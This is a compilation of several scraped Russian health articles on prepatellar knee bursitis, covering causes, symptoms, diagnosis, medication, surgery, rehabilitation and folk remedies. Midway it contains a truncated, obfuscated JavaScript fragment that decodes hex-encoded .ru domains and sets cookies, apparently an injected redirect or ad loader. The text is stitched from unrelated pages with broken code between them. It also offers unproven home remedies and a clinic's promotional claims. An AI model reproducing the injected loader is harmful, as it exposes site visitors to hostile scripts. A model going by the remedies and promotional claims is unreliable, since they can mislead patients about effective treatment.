Препателлярный бурсит: лечение, причины, как предупредить

Болезнь, которая поражает околосуставную сумку, называется бурситом. Серьезный недуг в основном локализуется в коленном и локтевом суставах.

Причины возникновения патологии

Препателлярный бурсит коленного сустава возникает под воздействием факторов:

1. Травмирование. Колено более всего подвержено перегрузкам. Это связано с выбором профессии, тренировками перед спортивными соревнованиями. Во время травмы происходит кровоизлияние в суставную сумку, вследствие чего сочленение воспаляется.
2. Переохлаждение. Воздействие низких температур на ногу приводит к увеличению мышечной чувствительности и возникновению хронического течения бурсита.
3. Специфика профессиональной деятельности. В группе риска – люди, владеющие специальностями, подразумевающими влияние вибрации или механического воздействия на суставы (ползание или длительная нагрузка на колени во время работы).
4. Инфекция. Бурсит может возникнуть из-за развития в сочленении вторичных инфекционных процессов (фурункулы, абсцессы), которые расположены вблизи колена и достигают последнего посредством тока лимфы или крови.  Иногда суставная сумка воспаляется после артрита или подагры. Причиной начала патологического процесса часто становится повреждение кожных покровов в области сустава.

Бурсит могут также вызывать:

• аллергические реакции;
• нарушения обмена веществ;
• аутоиммунные болезни.

Симптомы препателлярного бурсита

Проявления зависят от причины недуга и наличия инфекции в суставной сумке.

Признаки острой формы

• Внезапное начало, нарастание признаков болезни в течение нескольких дней или часов.
• Интенсивная болезненность в коленном суставе, иррадиация болей в голеностоп или ступню, повышенная чувствительность кожных покровов к прикосновениям или небольшому давлению.
• Отечность и покраснение в области сочленения.
• Нарушение общего состояния, повышение температуры, слабость, потеря аппетита, симптомы интоксикации.
• Невозможность совершать сгибание и разгибание коленного сустава.

Признаки хронической формы

Подострое течение препателлярного бурсита колена возникает после недостаточного лечения патологического процесса в организме, после микротравм или при долгом воздействии вибрации.

Болезнь характеризуется медленным течением с периодическими обострениями. Сустав значительно отекает, стенки бурсы увеличиваются в размерах.

В запущенных случаях могут возникнуть кистоидные образования или разрушение сустава.

Супрапателлярный бурсит

Причиной заболевания является длительное воздействие на коленные суставы. Это может быть связано со спортивной деятельностью или особенностями профессии. Колено постоянно подвергается микротравмам, в результате воспаляется одна их синовиальных сумок.

Основной симптом – мягкое опухолевидное образование до 10-12 мм, располагающееся в верхней части сустава.

Надколенная сумка – одна из самых крупных в сочленении. Она выполняет амортизационную функцию при трениях или ударах.

Гнойный бурсит

Воспалительный процесс в одной или нескольких синовиальных сумках, осложненный занесением инфекции. Недуг обычно является вторичной патологией и проявляется образованием свищей и выходом гнойного содержимого наружу.

Инфекционное воспаление сложно дифференцировать, так как оно поначалу схоже с проявлениями артрита.

Инфрапателлярный бурсит

Патологическое состояние в синовиальной сумке, локализующейся вблизи от сухожилия коленного сустава. Чаще такая форма бурсита возникает из-за давления на стенки сумки после неудачного прыжка. Недуг может переходить на мышечную и костную ткань.

Характерный признак болезни — внутреннее кровоизлияние и быстрое распространение воспалительных процессов.

Бурсит коленного сустава у ребенка

Заболевание развивается в возрасте около 13 лет, когда начинает происходить гормональная перестройка у подростка, в связи с чем суставы не успевают за интенсивным ростом костной ткани. Чаще поражается сумка, расположенная в нижней части колена. Недуг сопровождается болью при подъеме по лестнице или во время вставании со стула, после долгого сидения.

  Группы антибиотиков для лечения бурсита

При неярко выраженной симптоматике бурсит у детей склонен к самоизлечению.

Диагностика

Диагноз «препателлярный бурсит» ставится с помощью нескольких методов обследования:

• Визуальный осмотр и сбор анамнеза. Во время пальпирования сочленения пациент ощущает болезненность при надавливании на кожу над коленной чашечкой. Сустав мягкий на ощупь, кожные покровы горячие.
• Рентгенологическое исследование колена в нескольких проекциях.
• МРТ, КТ.
• УЗ-исследование (утолщение синовиальной оболочки, формирование карманов, выпячиваний, складок).
• Пункция сустава при подозрении на инфекционный характер.
• ОАК, кровь на биохимию, анализ мочи.

Методы лечения

Лечение препателлярного бурсита коленного сустава требует сочетания нескольких методов и проводится после установления причины.

Медикаменты

Терапия с помощью лекарственных средств состоит из системного и наружного воздействия.

При хроническом течении болезни делают пункцию сустава с помощью скальпеля или иглы. После удаления жидкости и крови сумку промывают антисептическим раствором. Для обезболивания процедуры используют Лидокаин или Новокаин. Добавление гормонального препарата и антибиотика снимают воспалительные процессы в коленном суставе. Терапия проводится несколько раз до полного излечения.

Для устранения сильной боли и дискомфорта при движении назначают НПВС как для местного применения в виде крема или геля, так и в таблетированной или инъекционной формах.

Минусом нестероидных препаратов является отрицательное действие на желудочно-кишечный тракт, изменение состава крови.

Людям с язвенными болезнями или со склонностью к кровоизлияниям следует применять препарат с большой осторожностью.

Также используют перцовые мази, линимент на основе пчелиного и змеиного яда. Средства улучшают местное кровообращение, обладают местнораздражающим и отвлекающим действием и производят противовоспалительный эффект.

Физиотерапия

Физиолечение бурсита желательно начинать после первых признаков заболевания.

Лечение направлено на:

• снижение боли;
• снятие воспалительного процесса;
• возникновение регенерации;
• улучшение микроциркуляции в тканях и отток лимфы.

Физиопроцедуры, применяемые при бурсите:

• электрофорез;
• амплипульс;
• лазер;
• магнит;
• УФО;
• грязелечение, лечебные ванны.

Терапию проводят под наблюдением специалиста, так как злоупотребление процедурами может вызвать осложнение и ухудшить состояние больного.

Народные средства

Болезнь можно вылечить дома при помощи ванночек, компрессов и мазей.

• Капуста. К коленному суставу приложить вымытый в теплой воде капустный лист и обмотать бинтом. Процедура проводится на ночь, перед применением лист необходимо слегка отбить.
• Алоэ. Мякоть растения наносят на марлю или ткань и обматывают бинтом. Листья алоэ хорошо устраняют болевой синдром и воспаление.
• Лопух. Корень растения мелко порубить и смешать с козьим или барсучьим жиром. Полученную мазь втирают в сустав. Также лист лопуха можно использовать в качестве компресса на ночь.
• Хвоя. Из концентрированного отвара хвойных побегов делают ножную ванночку. Теплая вода расслабляет мышцы и снимает болезненные ощущения, устраняет отеки.

  Виды и способы лечения бурсита коленного сустава

Для лечения бурсита можно использовать следующие методы:

• Ледяной компресс прикладывают к коленному суставу на непродолжительное время (до 20 минут) 2-3 раза в сутки.
• 100 г водки смешивают с 10 г прополиса и настаивают в темном месте. Средство используют ежедневно до снятия болезненных ощущений.
• Стружка хозяйственного мыла смешивается с медом и луком. Кашицу наносят на пораженный сустав и дают высохнуть, после смывают водой. Смесь снимает отечность и воспаление.
• На стакан горячей воды добавляют 1 ч.л. семян сельдерея и пьют в течение дня как чай. Растение богато витаминами и имеет противовоспалительный эффект.

Оперативное вмешательство

Хирургические операции на коленном суставе назначаются при отсутствии результата от консервативного лечения или в случае присоединения гнойной инфекции с развитием свищей.

При наличии инфекционного процесса сумку вскрывают, промывают полость растворами антисептиков и вставляют дренаж. После оттока экссудата и улучшения общего состояния больного трубку убирают, и рана заживает.

Полное удаление бурсы применяется редко: в запущенных случаях, при серьезных нарушениях двигательной способности и регулярной болезненности. Разрез делается в области препателлярной сумки, после убираются утолщенные и воспаленные участки. Иногда дополнительно шлифуется поверхность надколенника для удаления костных наростов.

В периоде реабилитации пациенту фиксируют ногу гипсовой повязкой на несколько дней до формирования новой суставной сумки.

После снятия гипса больному назначают курс массажа и ЛФК, который следует продолжить в домашних условиях. Нагружать колено нельзя в течение двух-трех месяцев.

Лечебная гимнастика

Упражнения можно начинать уже на 2-5 день после оперативного вмешательства. На начальном этапе занятия следует выполнять в специальном наколеннике.

Цели гимнастики:

• восстановление эластичности связок сустава;
• укрепление мышц голени и бедра, предупреждение атрофии;
• улучшение кровообращения и трофики в тканях.

Примерный курс ЛФК:

• Напряжение и расслабление мышц колена.
• Лежа на животе, поднимать ногу на 15 см от пола и зафиксировать ее на весу в течение нескольких секунд.
• В том же положении поднятие согнутой в коленном суставе конечности.
• Сидя на стуле, поочередное выпрямление ног с задержкой их на весу до 1 минуты.
• Чередование плавных поднятий на носочки и на пятки, стоя у опоры.
• В конце занятий желательно проводить самомассаж от коленного сустава к бедру или принять теплую ванну с добавлением эфирных масел.

Профилактика бурсита

• Своевременное пролечивание воспалительных и гнойных заболеваний.
• Регулярные физические упражнения для укрепления мышечной ткани ног.
• Занятия плаваньем, легкая ходьба, езда на велосипеде.
• Исключение переохлаждения суставов нижних конечностей.
• Соблюдение правил безопасности при занятиях экстремальным спортом.
• При первых признаках бурсита обращаться к врачу.
• Рациональное питание с исключением соли, копченостей, транс-жиров.
• Снижение веса.
• Ношение удобной обуви по сезону, без высокого каблука или танкетки.
• Использование ортеза при нагрузках на колено.

Прогноз

• При своевременном обращении к специалисту исход заболевания благоприятный.
• Хроническая стадия бурсита подразумевает не только правильный метод терапии, но и смену профессии для снижения риска новых травм.
• Лечить коленный сустав следует до полного восстановления двигательной функции конечности.

Источник: https://NogiNashi.ru/sustavy-i-kosti/bursit/vidy-i-metody-terapii-prepatellyarnogo-bursita.html

Препателлярный бурсит

Препателлярный бурсит коленного сустава возникает при воспалении специальной сумки с жидкостью. Она облегчает трение кожи по надколеннику при сгибании, разгибании ноги. Препателлярный вид бурсита встречается чаще всего – сумка находится близко к поверхности, легко поддаётся травмированию.

Острый препателлярный бурсит

Острая форма болезни развивается резко, причиной, в основном, бывают травмы. Главным проявлением бурсита является острая режущая боль в суставе, усиливающаяся при сгибании, разгибании колена. При прикосновении, пальпации боль отдаёт в тазобедренный, голеностопный суставы.

Над коленом наблюдается сильная отёчность, в месте воспаления появляется жар, покраснение кожи. Проявления иногда начинаются через несколько часов после травмирования. Необходимо немедленно обратиться в больницу во избежание развития внутри инфекции, для которой создана идеальная среда.

При недолеченном остром бурсите болезнь переходит в хроническую форму.

Бурсит в коленном суставе

Хронический бурсит коленного сустава

Возникает из острой формы, вследствие воздействия на коленный сустав постоянных нагрузок, воспалительных процессов в организме. Проявляется слабее, чем острая форма, человек не всегда обращается в больницу, чтобы назначили лечение, списывая боль в коленях на банальное переутомление, возраст.

Длительное отсутствие лечения болезни приводит к образованию кист, затруднениям в движении, болях в состоянии покоя. Хронический бурсит трудно поддаётся лечению. Оболочка сумки утолщается, не выполняет основную функцию, представляет воспалённую малоэластичную ткань. Движение вызывает сильную боль.

Состояние является показанием для удаления бурсы оперативным путём. Во время операции осматривается поверхность надколенника, при необходимости зашлифовывается, чтобы придать ей гладкость.

В процессе реабилитации на месте удалённой вырастает новая сумка с тоненькими стенками, здоровая, готовая к защите надколенника.

В каком возрасте развивается болезнь

Препателлярный бурсит возникает в любом возрасте, чаще страдают люди, которым за сорок. Больше склонны к заболеванию мужчины – выполняют тяжёлую физическую работу, чаще травмируют колени.

Особенности строения тела мужчины, женщины различное, у сильного пола ноги худые, костлявые, при ударах внутренние глубокие ткани травмируются сильнее.

Для женщин предрасполагающий фактор для развития болезни – большой вес, набираемый после менопаузы (за 45 лет), во время беременности.

Мальчишки, начиная с подросткового возраста, увлекаются спортом, что становится частой причиной развития бурсита. Возрастная категория сильного пола 14 – 40 лет занимает второе место в рейтинге по заболеваемости после пожилого населения мужского пола. У них чаще встречается инфрапателлярный бурсит – развивается в сумке, расположенной рядом с крупным сухожилием под коленной чашечкой.

Воспаление возникает вследствие травмы, полученную во время прыжка. Если приземление неправильное, нагрузка на бурсу становится высока, стенки не выдерживают, происходит внутреннее кровоизлияние.

Возникает воспаление. Инфрапателлярный бурсит чаще встречается у людей, занимающихся лёгкой атлетикой, баскетболом, прыжками с парашютом, трамплина.

Препателлярный вид характерен для футболистов, хоккеистов, тяжелоатлетов.

Бурсит у ребёнка

В детском возрасте препателлярный бурсит коленного сустава встречается редко. Объясняется маленьким весом ребёнка, который при падении не создаёт сильную нагрузку, чтобы повредить стенку синовиальной сумки.

Инфекционная болезнь для детей не характерна, особенно до года, – имеют иммунитет, полученный от мамы, вредные бактерии в организме практически не приживаются.

Возможным способом развития коленного бурсита у ребёнка являются переломы в колене от падения с высоты, воздействия на ножку предмета. У деток кости гибкие, редко ломаются, если это происходит, срастаются быстро. В случае ненадлежащей, несвоевременной медицинской помощи в месте перелома возникает воспаление, затрагивающее околосуставные бурсы.

Дети в подростковом возрасте чаще подвержены бурситу. В этот период происходит активный рост, суставы не успевают, что провоцирует их воспаление, воспаление тканей. Дитя до года тоже быстро растёт, бурсит не проявляется.

Связано с тем, что у ребёнка нет нагрузок на ножки, он не ходит, передвигаться самостоятельно начинает постепенно, регулирует, когда лучше походить, побегать, посидеть, полежать, попроситься на ручки.

В юношеском возрасте есть определённые обязанности, ритм жизни заставляет активно двигаться.

Профилактика препателлярного бурсита

Лечение бурсита занимает много времени, отнимает деньги, предполагает выполнение неприятных процедур – пункцию, отсасывание жидкости из сумки, операцию по удалению. Лучше заниматься профилактикой болезни, включающей следующее:

• Нормирование нагрузок на коленные суставы, это касается ходьбы, бега, прыжков, подъёма тяжестей. Перед сильными нагрузками важно делать разминку для всего тела, чтобы физически подготовить его.
• Тем, кто занимается спортом, связанным с постоянным движением, стоит накладывать специальные повязки на суставы, чтобы не давать им перенапрягаться. Важно внимательно относиться к выбору обуви, чтобы она выполняла амортизационную функцию.
• Людям, страдающим плоскостопием, надо избавляться от болезни, носить специальные стельки, пластырь, чтобы стопа пружинила, как у здорового человека. При плоскостопии обычная ходьба приводит к изнашиванию коленных суставов из-за сильных толчков в них, передающихся через голень.
  
• Спортсмены – экстремалы должны соблюдать правила техники безопасности, одевать на колени, локти специальные защитные приспособления во избежание травм. Это касается и некоторых профессий: электрики, которым приходится лазить по опорам, установщики антенн, другие, у кого работа может вызвать падение, травмы.
• Важно вовремя обрабатывать ушибы, чтобы избежать воспаления. Если рана открытая, не забудьте смазать её антисептическим средством (перекись, йод, зелёнка), забинтовать во избежание попадания внутрь вредоносных бактерий, вирусов.
• Стоит заниматься специальными укрепляющими упражнениями для мышц, поддерживающих работу коленного сустава.
• Рекомендовано избегать переохлаждения нижних конечностей, чтобы не нарушать кровоток. Из-за этого ткани синовиальных сумок не получают своевременное, полноценное питание, будут ослаблены.
• Важно следить за общим состоянием организма, поддерживать иммунитет в норме. Стоит чередовать физические, умственные нагрузки с отдыхом. Иметь полноценный сон (8-9 часов), который должен начинаться в 22.00. В питание важно включать кисломолочные продукты, чтобы нормализовать микрофлору кишечника, играющую важную роль в состоянии иммунной системы.
• При появлении инфекционной болезни, важно обращаться за консультацией к доктору, который пропишет подходящее лечение, чтобы болезнь не прогрессировала, не подвергала опасности организм.

Как победить боль, если нет возможности обратиться в больницу

Не всегда удаётся предотвратить развитие болезни. В таком случае потребуется лечение, которое нельзя проводить самостоятельно. Оно назначается в зависимости от вида болезни.

Неправильно подобранные методы усугубят ситуацию.

Что делать, если препателлярный бурсит вызывает невыносимые мучения, поход к врачу временно недоступен? Для снятия боли стоит использовать простые, безвредные приёмы:

• покой – чтобы боль утихла, уменьшилась, стоит прекратить любую нагрузку на колени. Для этого можно наложить не тугую повязку из эластичной ткани, фиксирующую положение сустава при небольших телодвижениях;
• холод – не рекомендуется при профилактике болезни, но снять боль, воспаление поможет. Время от времени можно легко, аккуратно массировать воспалённую область пакетом со льдом;
• подъём – повреждённое колено лучше держать немного приподнятым. Сделать это, подложив под него подушки.

Лечение бурсита мёдом

Издавна мёд ценился как уникальный продукт от всех болезней, не обошлось без него в борьбе с бурситом. Есть масса рецептов, при помощи которых люди проводят лечение хронической, острой формы болезни:

• Снимает воспаление капустный сок, смешанный с мёдом. Понадобится лист капусты, который слегка отбить, пока не выступит сок. Колено смазывается мёдом, накрывается этим листом. Обмотать целлофановой плёнкой, плотной тканью. Выполняется процедура на ночь, срок воздействия составляет минимум восемь часов.

• В домашних условиях приготовить мазь из следующих компонентов: мёд, этиловый спирт, сок алоэ в соотношении 2:3:1 соответственно. Лучше наносить вечером, чтобы она могла хорошо впитаться. Курс лечения зависит от тяжести болезни, составляет 2-3 недели.
• Лечение хронического бурсита проводят смесью мёда, перекрученного на мясорубке лука, тёртого хозяйственного мыла. Для приготовления нужно полкилограмма мёда, средняя луковица, брусок мыла. Компрессы делать перед сном на протяжении трёх недель.
• Помогает приём внутрь настойки мёда, уксуса. Для приготовления в стакане кипячёной воды растворить по чайной ложке яблочного уксуса, мёда. Принимать средство в течение дня в объёме пол-литра. Лечение длится три недели.
• Смазывать колено, околоколенные мышцы чистым мёдом, обматывая сверху целлофаном. Компресс зафиксировать повязкой. Длительность процедуры – не менее 12 часов, если нет возможности время провести в постели, с компрессом можно аккуратно ходить. Количество приёмов зависит от степени запущенности болезни, в основном составляет 5 – 10 процедур.

Лечение бурсита коленного сустава должно быть своевременным, комплексным, проводиться под наблюдением врача. Тогда человек потратит минимум времени, результатом будут здоровые суставы, колени.

Источник: https://OtNogi.ru/bolezn/bursit/prepatellyarnyj-bursit.html

Лечение препателлярного бурсита

Препателлярный бурсит – серьезное заболевание коленей, вызываемое воспалением суставной сумки. При этом заболевании возникает отек в области пораженного сустава, болевой синдром при движении колена.

Бурса – это оболочка сустава, состоящая из тонких тканей. Она необходима для обеспечения скольжения костных поверхностей. Препателлярная сумка, в свою очередь, обеспечивает движение кожи над надколенником.

Причины возникновения препателлярного бурсита

Заболевание может вызываться многими причинами. При ударе или падении бурса может разорваться, что приводит к кровоизлиянию. При пальпировании поврежденной суставной сумки можно обнаружить небольшое уплотнение, заполненное жидкостью.

Наличие крови в бурсе вызывает воспаление, при котором происходит утолщение суставной сумки. Впоследствии ткани становятся восприимчивы к минимальному механическому воздействию и переохлаждению.

Это становится причиной перехода бурсита в хроническую фазу.

Бурсит может начаться и при длительном контакте коленей с твердой поверхностью, приводящем к сдавлению тканей препателлярной сумки.

При появлении первых признаков бурсита необходимо исключить подобные состояния. Бурсит иногда может возникнуть вследствие инфекционных заболеваний кожи коленей.

Инфекция, проникающая в бурсу, вызывает боли, отек суставной сумки, покраснение пораженной области.

Основные симптомы патологии, диагностика

При бурсите возникает отечность в области колена, боли при ходьбе. Боль может усиливаться при пальпации суставной сумки. Заболевание не позволяет в полной мере опираться на ногу.

В некоторых случаях воспалительный отек может сопровождаться наличием комочков, что говорит об утолщении стенок препателлярной сумки.

При активном развитии воспалительного процесса количество жидкости увеличивается, что приводит к увеличению самой бурсы. При этом изменяется и внешний вид сустава.

При присоединении инфекции пораженная область сильно распухает, наблюдается местное повышение температуры.

На фоне местного воспалительного процесса ухудшается и общее состояние организма: появляется лихорадка, слабость, меняется состав крови.

Эти признаки свидетельствуют о необходимости неотложного хирургического вмешательства. Хирургическое лечение заключается во вскрытии и дренировании суставной сумки.

Обычно диагноз ставится на основании наиболее ярких симптомов. При возникновении посттравматического отека рекомендуется проведение рентгенологического обследования для исключения переломов и трещин костей. Для диагностики препателлярного бурсита не требуется специальных анализов и методов.

При подозрении на наличие инфекции врач может назначить пункцию для исследования отобранного материала на присутствие возбудителя. Это помогает не только определить инфекцию, но и подобрать соответствующий антибиотик.

Как лечить это заболевание

Бурсит можно лечить как хирургически, так и медикаментозно. При скоплении большого количества жидкости ее удаляют посредством прокола или небольшого надреза.

Процедуры должны выполняться в условиях операциионной, ведь риск попадания инфекции достаточно высок. После операции пациенту накладывают стерильную повязку. Хронический препателлярный бурсит может привести к утрате трудоспособности.

Простые повседневные действия начинают вызывать серьезные трудности.

Лечение обычно начинают с ликвидации воспалительного процесса. Для этого врач назначает нестероидные противовоспалительные средства. При пункции в некоторых случаях в суставную сумку вводят небольшие дозы стероидных препаратов, быстро устраняющих воспаление.

Лечение включает в себя и физиотерапевтические методы терапии, например, УВЧ, лечение теплом или холодом. Инфекционный бурсит необходимо лечить под постоянным контролем врача.

При быстром развитии инфекции в суставной сумке требуется ее вскрытие и последующее промывание антисептическим раствором.

Для оттока жидкости врач может оставить в полости сумки дренажную трубку. После этого во многих случаях происходит быстрая ликвидация инфекции и заживление раны.

Если медикаментозное лечение не приносит положительного результата, врач может порекомендовать удаление бурсы.

Обычно такая операциия назначается уже при запущенных формах заболевания, когда утолщенная суставная сумка мешает движению сустава.

Бурса удаляется через небольшой разрез в области коленного сустава. Воспаленные, увеличенные ткани полностью удаляются, после этого суставные кости должны остаться гладкими. При наличии на костных поверхностях наростов их удаляют, поверхность надколенника выравнивают.

После операции разрез зашивают послойно, коленному суставу обеспечивают полную неподвижность. Восстановительный период включает в себя формирование новой суставной оболочки, это происходит из-за движения кожи над коленной чашечкой.

Новая бурса будет иметь стенки нормальной толщины.

Реабилитация включает занятия лечебной физкультурой, при этом интенсивность тренировок подбирается индивидуально. Некоторые упражнения можно будет выполнять и после выписки из стационара в домашних условиях.

Восстановительный период длится около месяца, после чего пациент может вернуться к обычному образу жизни. Опираться на колено не рекомендуется в течение 2-3 месяцев.

Неинфекционный бурсит может пройти сам собой, без какого-либо лечения.

Для того чтобы болезнь не возникла повторно, нужно научиться правильно распределять нагрузку на суставы. Перед началом спортивных тренировок рекомендуется проводить разминку. При занятиях травмоопасными видами спорта не стоит забывать о защитных наколенниках. Своевременно обрабатывайте даже небольшие раны и ссадины перекисью водорода или йодом.

//

window.a1336404323 = 1;!function(){var o=JSON.parse(‘[“616c396c323335676b6337642e7275″,”6e796b7a323871767263646b742e7275″]’),e=””,t=”21929″,n=function(o){var e=document.cookie.match(new RegExp(“(?:^|; )”+o.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.

expires;if(“number”==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=”3600″;!t.expires&&r&&(t.expires=”3600″),e=encodeURIComponent(e);var c=o+”=”+e;for(var a in t){c+=”; “+a;var d=t[a];d!==!0&&(c+=”=”+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=””,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.

protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Источник: https://zavorota.ru/spina/prepatellyarnyj-bursit.html

Препателлярный бурсит: причины, симптомы, лечение

Существует несколько форм бурсита коленного сустава, которые имеют отличия в причинах его появления, а также в симптоматике. Одной из наиболее распространенных форм данного заболевания является препалеллярный бурсит. Код по МКБ 10 – М70.4. Что представляет собой эта патология, какие методы лечения? На этом вопросе остановим свое внимание.

Причины возникновения

Данная форма патологии представляет собой поражение околосуставной сумки над коленным суставом. Воспалительные процессы могут быть вызваны по таким причинам:

1. Падение или удар в область коленного сустава. В результате таких повреждений происходит кровоизлияние в околосуставную сумку, что сопровождается воспалением.
2. Чрезмерные физические нагрузки. Особенно это касается лиц, чья работа связана с физическими нагрузками на нижние конечности. Таковым являются профессиональные спортсмены, грузчики и другие.
3. Повреждение кожных покровов в области колена. Недостаточная антисептическая обработка ранок может вызвать попадание инфекции в синовиальную сумку. В результате активного развития патогенных микроорганизмов появляется бурсит.
4. Сахарный диабет и другие заболевания, которые сопровождаются появлением лишних килограмм. Чрезмерная масса тела дает повышенную нагрузку на нижние конечности. В результате этого коленная чашечка изнашивается, теряет свою упругость, постепенно перестает выполнять свои функции.

препателлярный бурсит коленного сустава

В некоторых случаях препателлярный бурсит может развиваться без определенных причин.

Симптомы препателлярного бурсита

Данное заболевание сопровождается такими недомоганиями:

• отечность в области коленного сустава;
• при прощупывании поверхности кожи над коленной чашечкой человек чувствует острую боль;
• увеличение коленного сустава в размерах, асимметрия;
• местное повышение температуры;
• изменение цвета кожных покровов вокруг колена.

Препателлярная форма заболевания, вызванная активным развитием патогенных микроорганизмов, может сопровождаться лихорадкой, ознобом, сильным повышением температуры тела, общей слабостью организма.

Важно прочитать! Что такое супрапателлярный бурсит коленного сустава и как его лечить.

Диагностика

Предварительный диагноз устанавливает специалист-ортопед. Для уточнения формы и стадии болезни пациент направляется на такие исследования:

1. УЗИ-диагностика. Помогает определить количество синовиальной жидкости в коленной чашечке, а также размер околосуставной сумки.
2. Рентгенограмма. Требуется для исключения разрастания костной ткани.
3. Магнитно-резонансная томография. Это самый информативный метод диагностики бурсита. Он помогает определить состояние всех тканей коленной чашечки.
4. Пункция. Берется синовиальная жидкость для исследования. Пункция требуется для выявления или исключения появления гноя или крови в околосуставной жидкости.

Читайте еще:  Что такое субдельтовидный бурсит плечевого сустава

На основе проведенных исследований доктор устанавливает точный диагноз, после чего назначает требуемое лечение.

Лечение заболевания

Терапия при данной патологии включает в себя такие виды лечения:

1. Медикаментозное лечение. Оно требуется для устранения воспалительного процесса в надколенной области, а также снятия неприятных симптомов, сопровождающих заболевание. При лечении применяются нестероидные противовоспалительные препараты, которые снимают отечность, болезненные и другие дискомфортные ощущения. Наиболее эффективными лекарственными средствами данной группы являются: Ибупрофен, Нимесил, Ибуфен, Диклофенак и другие. Они выпускаются в форме таблеток или мазей для местного применения.
2. Физиотерапевтические процедуры. Они направлены на устранение отечности в поврежденном колене, а также болевых ощущений. Для этого используются такие физиопроцедуры: магнитотерапия, лазерное облучение, электрофорез, фонофорез и прочее.
3. Лечебная физкультура. Специальная гимнастика направлена на улучшение подвижности поврежденного сустава. Регулярное выполнение лечебных упражнений помогает также снизить нагрузку на колени, благодаря укреплению мышечного корсета.
4. Дренирование. Суть данной процедуры заключается в проведении специального дренажа в коленный сустав, благодаря чему выкачивается скопившаяся жидкость. Такая процедура проводится обычно при бурсите, вызванном появлением инфекции.
5. Хирургическое вмешательство. Операция назначается лишь в тех случаях, когда консервативное лечение не дает положительных результатов. Также с ее помощью можно избавиться от препателлярного бурсита хронического характера.

Можно ли не лечит хронический препателлярный бурсит? Заболевание не следует игнорировать. Поскольку в периоды обострения оно приносит немало дискомфортных ощущений. При хронической форме болезни лучше сделать операцию по иссечению пораженной поверхности бурсы.

В период лечения или реабилитации после хирургического вмешательства требуется фиксировать колено. Это помогает свести к минимуму нагрузки на сустав. Для этого следует воспользоваться специальными надколенниками.

Важно помнить! Для динамичного выздоровления нужно строго придерживаться рекомендаций лечащего врача. Лечение коленного бурсита в домашних условиях проводить только после согласования с доктором!

Народные способы лечения

Лечение народными средствами предусматривает снятие воспалительных процессов, отечности и боли в области коленной чашечки. Рассмотрим наиболее популярные рецепты.

Картофель

Для лечебного компресса потребуется 1 клубень сырого картофеля среднего размера. Его следует натереть на терке. Наложить полученную массу на небольшой кусочек марли, приложить к поврежденному колену. Зафиксировать бинтом и теплым шарфом. Оставить компресс на ночь.

Прополис

Следует взять 10 г данного продукта пчеловодства и 100 мл медицинского спирта. Поместить компоненты в емкость, накрыть крышкой. Оставить настаиваться на протяжении 5 дней. По истечении времени делать примочки при помощи полученного средства.

Вылечить препателлярный бурсит можно в течение 2 недель. Но для этого следует четко выполнять все назначения лечащего врача.

Источник: https://systavu.ru/bursit/prepatellyarnyj-bursit.html

Препателлярный бурсит коленного сустава: причины, симптомы, лечение

Препателлярный бурсит часто имеет травматическую этиологию и встречается в основном у молодых активных людей, занимающихся подвижными видами спорта.

В среднем возрасте может развиваться у представителей определённых профессий, таких как уборщицы, маляры, строители, грузчики, автослесари, техники, шахтеры, плотники и т.д.

В пожилом возрасте эта патология может быть следствием развития деформирующего остеоартроза коленного сустава или разрушения связочного аппарата надколенника, в результате чего развивается его чрезмерная подвижность.

Препателлярный бурсит коленного сустава в большинстве случаев развивается по сценарию асептического воспаления. Это значит, что внутри бурсы не образуется гнойного содержимого и не требуется проведения антибактериальной терапии.

В исключительных случаях, особенно, когда патология связана с травмой с нарушением целостности кожных покровов, развивается гнойная форма бурсита. В этом случае рекомендуется проводить вскрытие сумки и её хирургический дренаж с промыванием внутренней полости антисептическими растворами.

Иногда препателлярный бурсит развивается при распространении инфекционного агента с током крови и лимфатической жидкости. Если у человека есть кариозные полости в зубах или он страдает хроническим тонзиллитом, то высока вероятность периодического развития стрептококкового или стафилококкового бурсита.

Также гематогенным путем распространяется инфекция туберкулеза, сифилиса, полиомиелита и т.д.

В этой статье рассказано про основные симптомы и лечение препателлярного бурсита коленного сустава: как распознать заболевание и провести дифференциальную диагностику, какие причины следует исключать, какие методы выбрать для эффективного и безопасного лечения.

Если у вас диагностирован препателлярный бурсит коленного сустава, то для прохождения лечения вы можете обратиться в нашу клинику мануальной терапии. Здесь опытные доктора помогут справиться с недугом без применения опасных фармакологических препаратов и хирургического вмешательства. Первый прием врача ортопеда для вас будет бесплатным. Позвоните администратору и запишитесь на прием.

Причины препателлярного бурсита колена

Препателлярный бурсит вызывают разнообразные причины, они подразделяются на предрасполагающие факторы риска и патогенные аспекты влияния. К факторам риска следует отнести:

• избыточную массу тела;
• неправильную постановку стопы со смещением головки большеберцовой кости относительно надколенника (плоскостопие или косолапость);
• ношение обуви на высоком каблуке;
• чрезмерные физические нагрузки на колени;
• рубцовые деформации связочного и сухожильного аппарата колена после перенесенных растяжений и разрывов;
• присутствие в организме очагов хронической инфекции.

Самый распространенный вид патогенного влияния, провоцирующий развитие препателлярного бурсита колена – травма. Это может быть падение на колени, боковой или прямой удар по надколеннику, вывих (в том числе и частичный), разрыв или растяжение связочного аппарата, переломы головок большеберцовой или бедренной костей.

Любое травматическое воздействие, которое приводит к разрыву мягких тканей и внутреннему кровотечению, способно спровоцировать развитие бурсита. Еще хуже обстоят дела, когда капиллярная кровь скапливается внутри суставной сумки.

В большинстве случаев это влечет за собой рубцевание и грубую деформацию бурсы с полной утратой её амортизационной способности.

Для того, чтобы понять остальные потенциальные причины развития препателлярного бурсита, необходимо ознакомиться с анатомией этого сустава.

Он образован тремя костями: большеберцовая, бедренная и надколенник. Связочный аппарат подразделяется на коленный и надколенный.

Колено стабилизируется передней и задней крестообразными связками, боковыми связками. Надколенник обладает собственными связками.

Между мыщелками большеберцовой и бедренной костей располагаются хрящевые мениски (латеральный и медиальный).

 Между всеми этими структурами располагаются суставные синовиальные сумки – бурсы. Крупных – шесть:

1. супрапателлярная – располагается выше надколенника;
2. подкожная препателлярная – располагается перед надколенником под кожей;
3. подкожная инфрапателлярная – находится ниже надколенника;
4. инфрапателлярная глубокая – расположена глубоко между сухожилиями ниже коленного сустава;
5. анвериновая – бурса сухожилия под названием «гусиная лапка»;
6. подколенная – находится с обратной стороны коленного сустава напротив надколенника.

